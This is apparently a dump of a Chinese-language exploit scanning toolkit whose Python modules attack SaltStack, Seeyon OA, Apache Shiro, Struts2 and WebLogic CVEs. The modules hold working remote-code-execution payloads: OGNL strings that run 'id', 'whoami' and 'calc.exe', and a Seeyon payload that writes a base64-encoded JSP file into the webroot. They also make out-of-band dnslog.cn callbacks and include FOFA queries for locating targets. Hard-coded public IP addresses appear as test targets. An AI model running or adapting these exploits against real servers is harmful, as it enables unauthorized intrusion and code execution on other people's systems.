148 | # pocObj=c2Class()
149 | # print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/print.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import os
3 |
4 | class c2Class(object):
5 | def __init__(self):
6 | pass
7 | def c2Func(self,target):
8 | status=1
9 | returnData='%s'%str(target)
10 | return status,returnData
11 |
12 | if __name__ == '__main__':
13 | target='hello'
14 | pocObj=c2Class()
15 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/saltstack/CVE-2020-16846.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import urllib
4 | import re
5 | requests.packages.urllib3.disable_warnings()
6 |
7 | class c2Class(object):
8 | def __init__(self):
9 | self.vulname = 'SaltStack Shell inject & unauthorized access by salt-api(CVE-2020-16846)'
10 | self.vulsystem= 'SaltStack'
11 | self.vulsystemintro = 'SaltStack是一个分布式运维系统,能够将远程节点维护在一个预定义的状态,能够分布式远程执行命令。'
12 | self.vulversion = '3002 ; 3001.1,3001.2 ; 3000.3,3000.4 ; 2019.2.5,2019.2.6 ; 2018.3.5 ; 2017.7.4,2017.7.8 ; 2016.11.3,2016.11.6,2016.11.10 ; 2016.3.4,2016.3.6,2016.3.8 ; 2015.8.10,2015.8.13 ;'
13 | self.fofa='"salt" && protocol=="https" && port="8000"'
14 | self.findtime='2020-11'
15 | self.cveid='CVE-2020-16846'
16 | self.refer= 'https://paper.seebug.org/1398/#_2\nhttps://blog.csdn.net/qq_37602797/article/details/111502282'
17 | self.bbb=''
18 | self.testisok=True
19 |
20 | if __file__[-3:]=='pyc':
21 | self._file=__file__[:-1]
22 | else:
23 | self._file=__file__
24 |
25 | self.dnslog='bcch1q.dnslog.cn'
26 | print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file))
27 | self.vulpath='/run' # https://192.168.128.129:8000/run
28 | self.headers={'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0',
29 | 'Accept': 'application/x-yaml',
30 | 'Content-Type': 'application/x-www-form-urlencoded'}
31 | self.cmd='/dev/null这样格式的数据
44 | target=target+'/'
45 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/
46 | else:
47 | target='https://'+target
48 | try:
49 | url=target.strip('/')+self.vulpath
50 | prefix=self.rc_host.search(url).group()
51 | payload=self.payload.replace('thisIsPrefix',prefix)
52 | # print(payload)
53 | resp=requests.post(url=url,data=payload,headers=self.headers,verify=False,timeout=30)
54 |
55 | if self.flag == resp.status_code and all([f in resp.text for f in self.flag1]):
56 | returnData='%s could be vulnerable.The vuln is %s.'\
57 | 'The vulnurl is [%s],u can check dnslog in %s'%(target.strip('/'),self.vulname,url,self.dnslog) #
58 | status=1
59 | except Exception as e:
60 | # print(e)
61 | returnData=str(e)
62 | return status,returnData
63 |
64 | if __name__ == '__main__':
65 | target='https://192.168.128.129:8010/'
66 | pocObj=c2Class()
67 | print(pocObj.c2Func(target))
68 |
--------------------------------------------------------------------------------
/pocmodules/seeyon/202012-rce.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import os
4 | import subprocess
5 | import re
6 | requests.packages.urllib3.disable_warnings()
7 |
8 | class c2Class(object):
9 | def __init__(self):
10 | self.vulname = 'Seeyon OA RCE & unauthorized access by ajaxAction(2020-12)'
11 | self.vulsystem= 'Seeyon OA'
12 | self.vulsystemintro = '致远OA是一套办公协同软件。'
13 | self.vulversion = 'V8.0;V7.1、V7.1SP1;V7.0、V7.0SP1、V7.0SP2、V7.0SP3;V6.0、V6.1SP1、V6.1SP2;V5.x'
14 | self.fofa='seeyon'
15 | self.findtime='2020-12'
16 | self.refer= 'https://www.cnblogs.com/potatsoSec/p/14253816.html\nhttps://xz.aliyun.com/t/9010'
17 | self.testisok=True
18 |
19 | if __file__[-3:]=='pyc':
20 | self._file=__file__[:-1]
21 | else:
22 | self._file=__file__
23 |
24 | self.vulpath='/seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip'
25 | self.dnslog='bcqvv0.dnslog.cn'
26 | print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file))
27 | self.phpdir='E:\\Problem\\phpstudy\\PHPTutorial\\php\\php-7.2.1-nts\\php.exe'
28 | if 'The PHP Group' not in subprocess.Popen(self.phpdir+' -v',shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read():
29 | raise Exception('Please set php.exe path in %s'%self._file)
30 | self.phpcode_rce_ping_Dir=os.path.join(os.path.dirname(os.path.abspath(self._file)),'ajaxAction_rce_ping.php')
31 | self.phpcode_rce_ping='''1 ,
35 | 'formulaName'=>'test',
36 | 'formulaExpression'=>'String path = "../webapps/seeyon/";
37 | ProcessBuilder processBuilder = new ProcessBuilder("ping","xxxxxxxxxxxxxxxxxxxxxxxxxxx");
38 | Process p = processBuilder.start();
39 | };test();def static xxx(){',
40 | );
41 | // print_r($arrayNam);
42 | $arrayNam['formulaExpression']=str_replace("xxxxxxxxxxxxxxxxxxxxxxxxxxx",$aaa,$arrayNam['formulaExpression']);
43 | $a= '';
44 | $b= (Object)array();
45 | $c= 'true';
46 | $e=array($arrayNam,$a,$b,$c);
47 | $json = json_encode($e);
48 | echo urlencode(iconv('latin1', 'utf-8',gzencode($json)));
49 | // 解码代码
50 | // $s='string';//arguments值复制到此
51 | // echo gzdecode(iconv('utf-8', 'latin1', urldecode($s)));
52 | ?>'''
53 | self.phpcode_rce_fu_Dir=os.path.join(os.path.dirname(os.path.abspath(self._file)),'ajaxAction_rce_fu.php')
54 | self.phpcode_rce_fu='''1 ,
56 | 'formulaName'=>'test',
57 | 'formulaExpression'=>'String path = "../webapps/seeyon/";
58 | java.io.PrintWriter printWriter2 = new java.io.PrintWriter(path+"seeyonUpdateCache.jspx");
59 | String shell = "PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgIHZlcnNpb249IjEuMiI+IDxqc3A6ZGlyZWN0aXZlLnBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbCIgcGFnZUVuY29kaW5nPSJVVEYtOCIgLz4gPGpzcDpzY3JpcHRsZXQ+b3V0LnByaW50KCJFUlIwUiBQQUczIDRPNSIpOyA8L2pzcDpzY3JpcHRsZXQ+IDwvanNwOnJvb3Q+";
60 | sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
61 | String decodeString = new String(decoder.decodeBuffer(shell),"UTF-8");
62 | printWriter2.println(decodeString);
63 | printWriter2.close();
64 | };test();def static xxx(){',
65 | );
66 | // print_r($arrayNam);
67 | $a= '';
68 | $b= (Object)array();
69 | $c= 'true';
70 | $e=array($arrayNam,$a,$b,$c);
71 | $json = json_encode($e);
72 | echo urlencode(iconv('latin1', 'utf-8',gzencode($json)));
73 | // 解码代码
74 | // $s='string';//arguments值复制到此
75 | // echo gzdecode(iconv('utf-8', 'latin1', urldecode($s)));
76 | ?>'''
77 | with open(self.phpcode_rce_ping_Dir,'w+')as f:
78 | f.writelines(self.phpcode_rce_ping)
79 | with open(self.phpcode_rce_fu_Dir,'w+')as f:
80 | f.writelines(self.phpcode_rce_fu)
81 | self.headers={'User-Agent':'Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)','Upgrade-Insecure-Requests':'1','Content-Type':'application/x-www-form-urlencoded'}
82 | self.rc_host=re.compile('(?<=://).+?(?=[:/])')
83 | self.flag=500
84 | self.flag2=['{"message":null,"code":"','","details":null}']
85 | self.uploadFile='/seeyon/seeyonUpdateCache.jspx'
86 | self.flag3=200
87 | self.flag4='ERR0R PAG3 4O5'
88 |
89 |
90 | def payloadGenerate(self,prefix):
91 | dnslog=prefix+'.'+self.dnslog
92 | cmd='%s %s %s'%(self.phpdir,self.phpcode_rce_ping_Dir,dnslog)
93 | # print(cmd)
94 | payload=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()
95 | return 'managerMethod=validate&arguments=%s'%payload
96 | def payloadGenerate2(self):
97 | cmd='%s %s'%(self.phpdir,self.phpcode_rce_fu_Dir)
98 | # print(cmd)
99 | payload=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()
100 | # print(payload)
101 | return 'managerMethod=validate&arguments=%s'%payload
102 |
103 | def c2Func(self,target):
104 | status=0
105 | returnData=''
106 | if target.startswith(('http://','https://')):
107 | if '/seeyon/' in target:
108 | target=target[:target.index('/seeyon/')]
109 | else:
110 | target='http://'+target
111 | try:
112 | url=target.strip('/')+self.vulpath
113 | # print(url)
114 | prefix=self.rc_host.search(url).group()
115 | # payload=self.payloadGenerate(prefix)
116 | payload=self.payloadGenerate2()
117 | # print(payload)
118 | resp=requests.post(url=url,headers=self.headers,data=payload,verify=False,timeout=4)
119 | # print(resp.text)
120 | if self.flag == resp.status_code and all([f in resp.text for f in self.flag2]):
121 | check_url=target.strip('/')+self.uploadFile
122 | check_resp=requests.get(url=check_url,verify=False)
123 | # print(check_url)
124 | # print(check_resp.text)
125 | if self.flag3 == check_resp.status_code and self.flag4 in check_resp.text:
126 | returnData='%s could be vulnerable.The vuln is %s.'\
127 | 'The payload is [%s], and the upload file is [%s]'%(target.strip('/'),self.vulname,url,check_url)
128 | status=1
129 | else:
130 | returnData='%s could be vulnerable.The vuln is %s.'\
131 | 'The payload is [%s].'%(target.strip('/'),self.vulname,url) #
132 | status=1
133 | except Exception as e:
134 | returnData=str(e)
135 | return status,returnData
136 |
137 | if __name__ == '__main__':
138 | target='http://113.108.134.18/seeyon/index.jsp'
139 | pocObj=c2Class()
140 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/seeyon/ajaxAction_rce_fu.php:
--------------------------------------------------------------------------------
1 | 1 ,
3 | 'formulaName'=>'test',
4 | 'formulaExpression'=>'String path = "../webapps/seeyon/";
5 | java.io.PrintWriter printWriter2 = new java.io.PrintWriter(path+"seeyonUpdateCache.jspx");
6 | String shell = "PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgIHZlcnNpb249IjEuMiI+IDxqc3A6ZGlyZWN0aXZlLnBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbCIgcGFnZUVuY29kaW5nPSJVVEYtOCIgLz4gPGpzcDpzY3JpcHRsZXQ+b3V0LnByaW50KCJFUlIwUiBQQUczIDRPNSIpOyA8L2pzcDpzY3JpcHRsZXQ+IDwvanNwOnJvb3Q+";
7 | sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
8 | String decodeString = new String(decoder.decodeBuffer(shell),"UTF-8");
9 | printWriter2.println(decodeString);
10 | printWriter2.close();
11 | };test();def static xxx(){',
12 | );
13 | // print_r($arrayNam);
14 | $a= '';
15 | $b= (Object)array();
16 | $c= 'true';
17 | $e=array($arrayNam,$a,$b,$c);
18 | $json = json_encode($e);
19 | echo urlencode(iconv('latin1', 'utf-8',gzencode($json)));
20 | // 解码代码
21 | // $s='string';//arguments值复制到此
22 | // echo gzdecode(iconv('utf-8', 'latin1', urldecode($s)));
23 | ?>
--------------------------------------------------------------------------------
/pocmodules/seeyon/ajaxAction_rce_ping.php:
--------------------------------------------------------------------------------
1 | 1 ,
5 | 'formulaName'=>'test',
6 | 'formulaExpression'=>'String path = "../webapps/seeyon/";
7 | ProcessBuilder processBuilder = new ProcessBuilder("ping","xxxxxxxxxxxxxxxxxxxxxxxxxxx");
8 | Process p = processBuilder.start();
9 | };test();def static xxx(){',
10 | );
11 | // print_r($arrayNam);
12 | $arrayNam['formulaExpression']=str_replace("xxxxxxxxxxxxxxxxxxxxxxxxxxx",$aaa,$arrayNam['formulaExpression']);
13 | $a= '';
14 | $b= (Object)array();
15 | $c= 'true';
16 | $e=array($arrayNam,$a,$b,$c);
17 | $json = json_encode($e);
18 | echo urlencode(iconv('latin1', 'utf-8',gzencode($json)));
19 | // 解码代码
20 | // $s='string';//arguments值复制到此
21 | // echo gzdecode(iconv('utf-8', 'latin1', urldecode($s)));
22 | ?>
--------------------------------------------------------------------------------
/pocmodules/shiro/abp.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import os.path
3 | import os
4 | import re
5 | import requests
6 |
7 | class c2Class(object):
8 | def __init__(self):
9 | self.vulname = 'Shiro authentication bypass(..;)(CVE-2020-1957)'
10 | self.vulsystem= 'Shiro'
11 | self.vulsystemintro = 'Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。'
12 | self.vulversion = '<1.5.2'
13 | self.fofa='app="Apache-Shiro"'
14 | self.findtime='2020-03-25'
15 | self.cveid='CVE-2020-1957'
16 | self.refer= r'https://paper.seebug.org/1196/\nhttps://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/'
17 | self.testisok=True
18 |
19 |
20 | self.headers={'Cookie': 'rememberMe=1'}
21 | self.check_shiro='rememberMe=deleteMe'
22 | self.rc_css=re.compile(r'(?<=)') # /css/style.css
23 | self.payload='/.;'
24 |
25 | def c2Func(self,target):
26 | status=0
27 | returnData=''
28 | try:
29 | resq=requests.get(url=target,headers=self.headers,verify=False)
30 | rh=resq.headers
31 | if 'Set-Cookie' in rh and self.check_shiro in rh['Set-Cookie']:
32 | _target=target+'/'
33 | host=target[:target.index('/',len('https://'))]
34 | css_q,css_h=self.rc_css.search(resq.text).group()[1:].split('/',1) # css/style.css css_q:css css_h:style.css
35 | css_q='/'+css_q
36 | css_h='/'+css_h
37 | oldCssPath=host+css_q+css_h
38 | newCssPath=host+css_q+self.payload+css_h
39 | # print(oldCssPath)
40 | # print(newCssPath)
41 | oldCss=requests.get(url=oldCssPath,headers=self.headers,verify=False)
42 | newCss=requests.get(url=newCssPath,headers=self.headers,verify=False)
43 | if oldCss.text==newCss.text:
44 | returnData='%s is vuln(%s), vulpath: %s'%(target,self.vulname,newCssPath)
45 | status=1
46 | # print(run_back)
47 | except Exception as e:
48 | # print(e)
49 | returnData=str(e)
50 | return status,returnData
51 |
52 |
53 | if __name__ == '__main__':
54 | target='http://121.40.147.26:86/login'
55 | pocObj=c2Class()
56 | print(pocObj.c2Func(target))
57 |
--------------------------------------------------------------------------------
/pocmodules/shiro/rce.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import os.path
3 | import os
4 | import requests
5 |
6 | class c2Class(object):
7 | def __init__(self):
8 | self.vulname = 'Shiro RememberMe RCE'
9 | self.vulsystem= 'Shiro'
10 | self.vulversion = ''
11 | self.fofa='app="Apache-Shiro"'
12 | self.refer= ''
13 | self.testisok=True
14 |
15 | self.headers={'Cookie': 'rememberMe=1'}
16 | self.check_shiro='rememberMe=deleteMe'
17 | self.dir=os.path.dirname(os.path.abspath(__file__))
18 | self.cmd='java -jar "%s\\shiro_tool.jar" '%self.dir
19 | self.flag='can be use'
20 | def c2Func(self,target):
21 | status=0
22 | returnData=''
23 | try:
24 | rh=requests.get(url=target,headers=self.headers,verify=False).headers
25 | if 'Set-Cookie' in rh and self.check_shiro in rh['Set-Cookie']:
26 | # print(rh)
27 | cmd=self.cmd+target
28 | # print(cmd)
29 | run_back=os.popen(cmd).read()
30 | if self.flag in run_back:
31 | returnData='%s is likely to be vulnrable.The vuln is Shiro RememberMe RCE.The payloa is [%s].'%(target,cmd) #
32 | status=1
33 | # print(run_back)
34 | except Exception as e:
35 | # print(e)
36 | returnData=str(e)
37 | return status,returnData
38 |
39 |
40 | if __name__ == '__main__':
41 | target='https://101.132.173.222/login'
42 | pocObj=c2Class()
43 | print(pocObj.c2Func(target))
44 |
--------------------------------------------------------------------------------
/pocmodules/shiro/shiro_tool.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/pocmodules/shiro/shiro_tool.jar
--------------------------------------------------------------------------------
/pocmodules/struts2/S2-052.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import sys
4 | import base64
5 | requests.packages.urllib3.disable_warnings()
6 |
7 | class c2Class(object):
8 | def __init__(self):
9 | self.vulname = 'S2-052 rce'
10 | self.cveid='CVE-2017-9805'
11 | self.vulsystem= 'Struts2'
12 | self.vulversion = 'Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12'
13 | self.findtime='2017'
14 | self.refer= 'https://github.com/Vancir/s2-052-reproducing/blob/master/exploit.py'
15 | self.testisok=True
16 |
17 | self.vulpath='/orders/3/edit'
18 | self.payload= '''
19 | '''
75 | self.headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
76 | 'Content-Type': 'application/xml'}
77 | self.dnslog='0suqc9.dnslog.cn'
78 | self.flag1=500
79 | self.flag2='java.security.Provider$Service'
80 |
81 | def c2Func(self,target):
82 | status=0
83 | returnData=''
84 | if target.startswith(('http://','https://')):
85 | pass
86 | else:
87 | target='http://'+target
88 | try:
89 | url=target.strip('/')+self.vulpath
90 | data=self.payload.format(base64.b64encode('192.168.3.11:8080').strip('='),
91 | self.dnslog)
92 | resp=requests.post(url=url,headers=self.headers,data=data,timeout=2)
93 | if self.flag1 == resp.status_code or self.flag2 in resp.text:
94 | returnData='%s is bad.The vuln is S2-052 rce (CVE-2017-9805).Please check dnslog in %s'%(target,self.dnslog)
95 | status=1
96 | except Exception as e:
97 | returnData=str(e)
98 | return status,returnData
99 |
100 | if __name__ == '__main__':
101 | target='http://192.168.3.12:8081/'
102 | pocObj=c2Class()
103 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/struts2/s2-057.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import urllib
4 | import random
5 | requests.packages.urllib3.disable_warnings()
6 |
7 | class c2Class(object):
8 | def __init__(self):
9 | self.vulname = 'S2-057 rce'
10 | self.cveid='CVE-2018-11776'
11 | self.vulsystem= 'Struts2'
12 | self.vulversion = '<= Struts 2.3.34 , Struts 2.5.16'
13 | self.findtime='2018'
14 | self.refer= 'https://github.com/Ivan1ee/struts2-057-exp \n https://github.com/jiguangin/CVE-2018-11776/blob/master/s2-057.py'
15 | self.testisok=True
16 |
17 | self.vulpath=''
18 | self.randint=random.randint(1,1000)
19 | self.payload1= urllib.quote("${"+str(self.randint)+"*"+str(self.randint)+"}") # ognl
20 | self.payload2= urllib.quote("${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}") # ognl
21 |
22 | self.headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0'}
23 | self.flag1=302
24 | self.flag2=str(self.randint*self.randint)
25 | self.flag3='groups='
26 |
27 | def c2Func(self,target):
28 | status=0
29 | returnData=''
30 | if target.startswith(('http://','https://')):
31 | pass
32 | else:
33 | target='http://'+target
34 |
35 | if target.endswith(('.action')):
36 | # url=target.replace(target.split('/')[-1],self.payload2+'/'+target.split('/')[-1])
37 | url=target.replace(target.split('/')[-1],self.payload1+'/'+target.split('/')[-1])
38 | else:
39 | url=target+'/'+self.payload1+'/index.action'
40 | try:
41 | resp=requests.get(url=url,headers=self.headers,allow_redirects=False,verify=False)
42 | # if self.flag1 == resp.status_code and self.flag3 in resp.headers.get('Location'):
43 | if self.flag1 == resp.status_code and self.flag2 in resp.headers.get('Location'):
44 | returnData='%s is bad.The vuln is S2-057 rce (CVE-2018-11776).Vul url is: %s'%(target,url)
45 | status=1
46 | except Exception as e:
47 | returnData=str(e)
48 | return status,returnData
49 |
50 | if __name__ == '__main__':
51 | target='http://192.168.3.12:8082/actionChain1.action'
52 | pocObj=c2Class()
53 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/struts2/s2-061.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import urllib
4 | import random
5 | requests.packages.urllib3.disable_warnings()
6 |
7 | class c2Class(object):
8 | def __init__(self):
9 | self.vulname = 'S2-061 rce'
10 | self.cveid='CVE-2020-17530'
11 | self.vulsystem= 'Struts2'
12 | self.vulversion = 'Struts 2.0.0 - 2.5.25'
13 | self.findtime='2020'
14 | self.refer= 'https://github.com/Al1ex/CVE-2020-17530'
15 | self.testisok=True
16 |
17 | self.vulparam='id'
18 | self.payload_whoami= '''%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}''' # ognl
19 | self.payload_calc= '''%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("calc.exe")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}''' #
20 | self.payload_id= '''%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}''' # ognl
21 | self.headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0'}
22 | self.flag1=200
23 | self.flag_id='groups='
24 |
25 | def c2Func(self,target):
26 | status=0
27 | returnData=''
28 | if target.startswith(('http://','https://')):
29 | pass
30 | else:
31 | target='http://'+target
32 |
33 | if target.endswith(('.action')):
34 | url=target+'?'+self.vulparam+'='+self.payload_id
35 | else:
36 | url=target+'/index.action'
37 | try:
38 | params = {self.vulparam:self.payload_id}
39 | resp=requests.get(url=url,params=params,headers=self.headers,verify=False)
40 | if self.flag1 == resp.status_code and self.flag_id in resp.text:
41 | returnData='%s is bad.The vuln is S2-061 rce (CVE-2020-17530).Vul url is: %s'%(target,resp.url)
42 | status=1
43 | except Exception as e:
44 | returnData=str(e)
45 | return status,returnData
46 |
47 | if __name__ == '__main__':
48 | target='http://192.168.3.16:8085'
49 | pocObj=c2Class()
50 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/weblogic/CVE-2019-2725-w12.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import sys
4 | import base64
5 | requests.packages.urllib3.disable_warnings()
6 |
7 | class c2Class(object):
8 | def __init__(self):
9 | self.vulname = 'weblogic 12 rce(CVE-2019-2725)'
10 | self.cveid='CVE-2019-2725'
11 | self.vulsystem= 'weblogic'
12 | self.vulversion = '10.*; 12.1.3'
13 | self.findtime='2019-4'
14 | self.fofa='app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"'
15 | self.refer= 'https://www.77169.net/html/260737.html\nhttps://zhuanlan.zhihu.com/p/345449257'
16 | self.testisok=False
17 |
18 | self.vulpath='/_async/AsyncResponseService'
19 | self.javace=''
20 | self.payload= '''xxxxorg.slf4j.ext.EventData%s'''%self.htmlescape(self.javace)
21 | # print(self.payload)
22 | self.headers={'User-Agent': 'Apache-HttpClient/4.1.1 (java 1.5)',
23 | 'Content-Type': 'text/xml',
24 | 'Accept-Encoding': 'gzip, deflate',
25 | 'SOAPAction':''}
26 | self.flag='Welcome to the {http://www.bea.com'
27 | self.flag1=200
28 | self.flag2=0
29 |
30 | def htmlescape(self,str):
31 | escapeStr=''
32 | for c in str:
33 | escapeStr=escapeStr+'%s;'%(hex(ord(c))[2:])
34 | return escapeStr
35 |
36 | def c2Func(self,target):
37 | status=0
38 | returnData=''
39 | try:
40 | if target.startswith(('http://','https://')):
41 | # 这是为了拿到 这样格式的数据
42 | target=target+'/'
43 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/
44 | else:
45 | target='http://'+target
46 | url=target.strip('/')+self.vulpath
47 | resp=requests.get(url=url,verify=False,timeout=5)
48 | if self.flag in resp.content:
49 | resp=requests.post(url=url,headers=self.headers,data=self.payload,verify=False,timeout=5)
50 | if self.flag1 == resp.status_code:
51 | print(resp.content)
52 | if self.flag1 == resp.status_code and self.flag2 == len(resp.content):
53 | returnData='%s is vuln(%s), vulnpath: %s'%(target,self.vulname,url)
54 | status=1
55 | except Exception as e:
56 | returnData=str(e)
57 | return status,returnData
58 |
59 | if __name__ == '__main__':
60 | target='https://42.194.226.30:5050'
61 | pocObj=c2Class()
62 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/weblogic/CVE-2020-14882.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import urllib
4 | import re
5 | requests.packages.urllib3.disable_warnings()
6 |
7 | class c2Class(object):
8 | def __init__(self):
9 | self.vulname = 'weblogic authencation bypass(CVE-2020-14882)'
10 | self.cveid='CVE-2020-14882'
11 | self.vulsystem= 'weblogic'
12 | self.vulversion = '10.3.6.0; 12.1.3.0; 12.2.1.3; 12.2.1.4; 14.1.1.0'
13 | self.findtime='2020-10'
14 | self.fofa='app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"'
15 | self.refer= 'https://blog.csdn.net/weixin_41598660/article/details/109409965'
16 | self.bbb='未授权访问'
17 | self.testisok=True
18 |
19 | self.headers={'User-Agent': 'Mozilla/5.0'}
20 |
21 | self.vulpath='/console/css/%252e%252e%2fconsole.portal'
22 | self.flag=200
23 |
24 |
25 | def c2Func(self,target):
26 | status=0
27 | returnData=''
28 | if target.startswith(('http://','https://')):
29 | # 这是为了拿到 这样格式的数据
30 | target=target+'/'
31 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/
32 | else:
33 | target='http://'+target
34 | try:
35 | url=target.strip('/')+self.vulpath
36 | resp=requests.get(url=url,headers=self.headers,verify=False,timeout=5)
37 | # resp_content=str(resp.content)
38 | if self.flag == resp.status_code:
39 | returnData='%s is vuln(%s), vulpath:%s'%(target,self.vulname,url)
40 | status=1
41 | except Exception as e:
42 | # print(e)
43 | returnData=str(e)
44 | return status,returnData
45 |
46 | if __name__ == '__main__':
47 | target='http://192.168.199.137:7001/'
48 | pocObj=c2Class()
49 | print(pocObj.c2Func(target))
--------------------------------------------------------------------------------
/pocmodules/weblogic/CVE-2020-14883-w12.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import requests
3 | import sys
4 | import re
5 | import socket
6 | requests.packages.urllib3.disable_warnings()
7 |
8 | class c2Class(object):
9 | def __init__(self):
10 | self.vulname = 'weblogic authencation bypass to rce(CVE-2020-14883)'
11 | self.cveid='CVE-2020-14883'
12 | self.vulsystem= 'weblogic'
13 | self.vulversion = '10.3.6.0; 12.1.3.0; 12.2.1.3; 12.2.1.4; 14.1.1.0'
14 | self.findtime='2020-10'
15 | self.fofa='app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"'
16 | self.refer= 'https://blog.csdn.net/weixin_41598660/article/details/109409965'\
17 | 'https://github.com/feihong-cs/Java-Rce-Echo/blob/master/weblogic/code/WeblogicEcho.jsp'\
18 | 'https://github.com/jas502n/CVE-2020-14882'
19 | self.bbb='攻击payload只支持w12'
20 | self.testisok=True
21 |
22 | if __file__[-3:]=='pyc':
23 | self._file=__file__[:-1]
24 | else:
25 | self._file=__file__
26 |
27 | self.dnslog='q9pq1j.dnslog.cn'
28 | print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file))
29 | self.headers={'User-Agent': 'Mozilla/5.0'}
30 |
31 | self.rc_host=re.compile('(?<=://).+?(?=[:/])')
